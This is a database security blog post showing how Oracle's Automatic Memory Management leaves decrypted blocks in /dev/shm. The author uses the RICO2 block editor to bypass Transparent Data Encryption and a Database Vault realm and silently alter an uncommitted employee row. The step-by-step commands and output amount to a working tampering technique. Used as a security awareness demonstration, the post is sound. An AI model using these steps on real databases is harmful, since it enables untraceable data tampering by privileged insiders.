AMM vs security

by Kamil Stawiarski

Most of us already know that AMM sucks. But usually, we think about disadvantages of AMM in terms of performance. Let’s see why it sucks in the terms of security 😉

Let’s create an encrypted tablespace for HR.EMPLOYEES and protect HR schema with Database Vault.

Contents of sqlnet.ora

SQL> administer key management create keystore '/etc/oracle/wallet/rico' identified by "ZyrafyWchodzaDoSzafy";

keystore altered.

SQL> administer key management set keystore open identified by "ZyrafyWchodzaDoSzafy";

keystore altered.

SQL> !ls /etc/oracle/wallet/rico

SQL> administer key management set key identified by "ZyrafyWchodzaDoSzafy" with backup;

SQL> ed
Wrote file afiedt.buf

  1  create tablespace secure_data
  2  datafile '/u01/app/oracle/oradata/orcl/secure_data01.dbf'
  3  size 128m
  4  autoextend on next 64m
  5  maxsize 1g
  6  encryption using 'AES256'
  7* default storage (encrypt)
SQL> /

Tablespace created.

SQL> alter table hr.employees move tablespace secure_data;

Table altered.

SQL> exec lbacsys.configure_ols

PL/SQL procedure successfully completed.

SQL> exec lbacsys.ols_enforcement.enable_ols

PL/SQL procedure successfully completed.

Now we will use dbca to configure a database for using Database Vault

[oracle@rico ~]$ dbca -silent -configureDatabase -sourceDB orcl -dvConfiguration true -dvUserName db_master -dvUserPassword Oracle123
Preparing to Configure Database
6% complete
13% complete
66% complete
Completing Database Configuration
100% complete
Look at the log file "/u01/app/oracle/cfgtoollogs/dbca/orcl/orcl.log" for further details.

[oracle@rico ~]$ sqlplus db_master

SQL*Plus: Release Production on Fri May 18 14:18:02 2018

Copyright (c) 1982, 2014, Oracle.  All rights reserved.

Enter password:
Last Successful login time: Fri May 18 2018 14:17:05 +02:00

Connected to:
Oracle Database 12c Enterprise Edition Release - 64bit Production
With the Partitioning, Oracle Label Security, OLAP, Advanced Analytics
and Real Application Testing options

SQL> exec dbms_macadm.enable_dv

PL/SQL procedure successfully completed.

SQL> begin
  2    dbms_macadm.CREATE_REALM(realm_name=>'HR_REALM',
  3         description=>'Protect HR objects',
  4         enabled=>dbms_macutl.g_yes,
  5         audit_options=>dbms_macutl.g_realm_audit_fail,
  6         realm_type=>1);
  7  end;
  8  /

PL/SQL procedure successfully completed.

SQL> begin
  2    dbms_macadm.ADD_OBJECT_TO_REALM(realm_name=>'HR_REALM',
  3          object_owner => 'HR',
  4          object_name=>'%',
  5          object_type=>'%');
  6  end;
  7  /

PL/SQL procedure successfully completed.

SQL> begin
  3       realm_name => 'HR_REALM',
  4       grantee => 'HR',
  5       auth_options => DBMS_MACUTL.G_REALM_AUTH_OWNER);
  6  end;
  7  /

PL/SQL procedure successfully completed.

Now even SYSDBA can’t select data from HR tables:

SQL> conn / as sysdba
SQL> select count(1) from hr.employees;
select count(1) from hr.employees
ERROR at line 1:
ORA-01031: insufficient privileges

You can’t also access data with tools like BBED or RICO2, because the tablespace is encrypted.

But let’s assume that someone with appropriate privileges started a transaction on a table we want to modify without leaving any trail in a database.

SQL> conn hr/hr

SQL> update employees
  2  set salary=salary*2
  3  where employee_id=100;

1 row updated.

As a SYSDBA we can check XID and DATA_OBJECT_ID for running transaction:

SQL> select xid
  2  from v$transaction t, v$session s
  3  where t.ses_addr=s.saddr
  4  and   s.username='HR';


SQL> select data_object_id
  2  from dba_objects
  3  where owner='HR'
  4  and object_name='EMPLOYEES';


Blocks are decrypted in memory and with AMM, memory is represented as files in /dev/shm.

So we can use RICO2 to tread /dev/shm files as datafiles.

[oracle@rico ~]$ ls /dev/shm/*orcl* | awk '{print NR " " $0}' > listfile
[oracle@rico ~]$ python listfile
RICO v2 by Kamil Stawiarski (@ora600pl |
This is open source project to map BBED functionality.
If you know how to use BBED, you will know how to use this one.
Not everything is documented but in most cases the code is trivial to interpret it.
So if you don't know how to use this tool - then maybe you shouldn't ;)

Usage: python2.7 listfile.txt
The listfile.txt should contain the list of the DBF files you want to read

 !!! CAUTION !!!!

This tool should be used only to learn or in critical situations!
The usage is not supported!
If found on production system, this software should be considered as malware and deleted immediately!

1	/dev/shm/ora_orcl_30310405_0
2	/dev/shm/ora_orcl_30343174_0
3	/dev/shm/ora_orcl_30343174_1
( ... removed for clarity ... )

Now we can search for a XID in correlation with DATA_OBJECT_ID:

rico2 > find -xo 03000C0001060000:93291
Found in block: 72,1934 block type: DATA

Now we can edit the block in a classic way:

rico2 > set dba 72,1934
	DBA		0x1200078e (301991822 72,1934)
rico2 > p *kdbr[0]
rowdata[6938]				@8126	0x2c
flag@8126:	0x2c
lock@8127:	0x2
cols@8128:	11

col    0[2]     @8129:  c202
col    1[6]     @8132:  53746576656e
col    2[4]     @8139:  4b696e67
col    3[5]     @8144:  534b494e47
col    4[12]    @8150:  3531352e3132332e34353637
col    5[7]     @8163:  78670611010101
col    6[7]     @8171:  41445f50524553
col    7[3]     @8179:  c30551
col    8[0]     @8183:  *NULL*
col    9[0]     @8184:  *NULL*
col   10[2]     @8185:  c15b

rico2 > set offset 8140
rico2 > d
 File: /dev/shm/ora_orcl_30343174_72(72)
 Block: 1934 Offsets: 8140 to 8652		Dba: 0x1200078e
4b696e67 05534b49 4e470c35 31352e31 | King.SKING.515.1
32332e34 35363707 78670611 01010107 | 23.4567.xg......
41445f50 52455303 c30551ff ff02c15b | AD_PRES...Q....[

<16 bytes per line>

rico2 > set mode edit
rico2 > modify
Usage: First - set offset to a place that you want to modify.
Then: modify [-s bytestring | -h hex]
rico2 > modify -s Dupa
You want to modify block: 1934 at offset: 8140
New value: 44757061
Are you sure? (Y/N)  y
Block data changed. To save changes set edit mode and type: save
rico2 > sum apply
checksum int = 1703
checksum hex = 0x6a7
Block data changed. To save changes set edit mode and type: save
rico2 > save
Current block data successfully saved to disk. To revert changes, type: dupa
rico2 >

And now let’s check what happened in original session…

SQL> select last_name
  2  from employees
  3  where employee_id=100;


So now when a user will commit a session – our changes will be also saved to disk 😀

GDPR made security really popular lately. Just remember that buying expensive licenses for fancy products doesn’t mean you are fully secured 😉

Contact us

Database Whisperers sp. z o. o. sp. k.
al. Jerozolimskie 200, 3rd floor, room 342
02-486 Warszawa
NIP: 5272744987
+48 508 943 051
+48 661 966 009

Newsletter Sign up to be updated